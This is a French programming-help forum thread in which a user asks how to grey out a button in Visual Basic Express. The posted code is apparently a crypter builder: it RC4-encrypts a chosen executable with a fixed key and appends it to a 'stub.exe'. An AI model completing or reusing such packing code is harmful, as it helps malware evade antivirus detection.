FORUM D’ENTRAIDE INFORMATIQUE (FEI)
Site d’assistance et de sécurité informatique

probléme sur Vbasic express

Règles du forum : Entraide concernant la programmation informatique en général, tous langages : recherche ou correction d'un code ou d'une fonction, aide à la réalisation d'un projet...
Pour la programmation web (HTML, CSS, PHP, MySQL...), il est conseillé de s'orienter dans le forum Webmastering.
Merci de lire et de respecter la charte générale du forum.

Répondre

Afin d’empêcher la création automatisée de comptes, nous vous demandons de réussir le défi ci-contre.
Smileys
:D :) :-) ;) :| :( :cry: :cheers: :hourra: :mv: :lol: :mdr: :bonjour: :hello: :jap: :siffle: :bisou: :P :o :x :roll: :good: :bad: :super: :reflexion: :suspect: :? :oops: :peur: :zen: :boude: :bug:

Revue du sujet : probléme sur Vbasic express Étendre la vue

Re: probléme sur Vbasic express

par vulcain » mar. 6 janv. 2015 18:41
Salut,

j'ai fais une petite recherche et un exemple (je ne connais pas Vbasic mais python)

Apparemment tu n'aurais qu'a mettre avec un teste de fichier la valeur du bouton comme ça
monBt.enabled = true ou false

mais le bouton c'est dans une box ou pas car si c'est le cas, voir les options de la box

a++

probléme sur Vbasic express

par zionhigt » ven. 2 janv. 2015 22:46
bonsoir tous le monde, je suis entrain de créé un programme sur Vbasic express, j'ai plusieurs bouton, dont un qui active une fonction sur un fichier choisie au préalable, je n’arrive pas a rendre ce bouton inactif si aucun fichier est choisis, merci de m'apporter votre aide code de mon bouton.

" Private Sub jecrypte_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jecrypte.Click
Dim filein, filename, stub As String
Dim sfd As New SaveFileDialog
sfd.Filter = "Exécutables |*.exe "
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = sfd.FileName

End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary,
OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite,
OpenShare.Default)
FilePut(1, stub & filesplit & RC4(filein, "123456789"))
FileClose(1)
MsgBox("Le fichier à etais crypté avec succeè ! ")
If ProgressBar1.Value = ProgressBar1.Maximum Then

End If
ProgressBar1.Minimum = 0
ProgressBar1.Maximum = 100
Dim i As Integer
For i = 0 To 100
ProgressBar1.Value = i
Application.DoEvents()
System.Threading.Thread.Sleep(70)
Next
End Sub
Là il est brut, :cassetete:

hey Eh beh tu vas bien te faire balader par tes co[…]

Aide SEO

Si vous êtes trop à court d'idé[…]

Game

J’ai toujours aimé essayer de nouveau[…]

Game

Ce site m’a impressionné par la quali[…]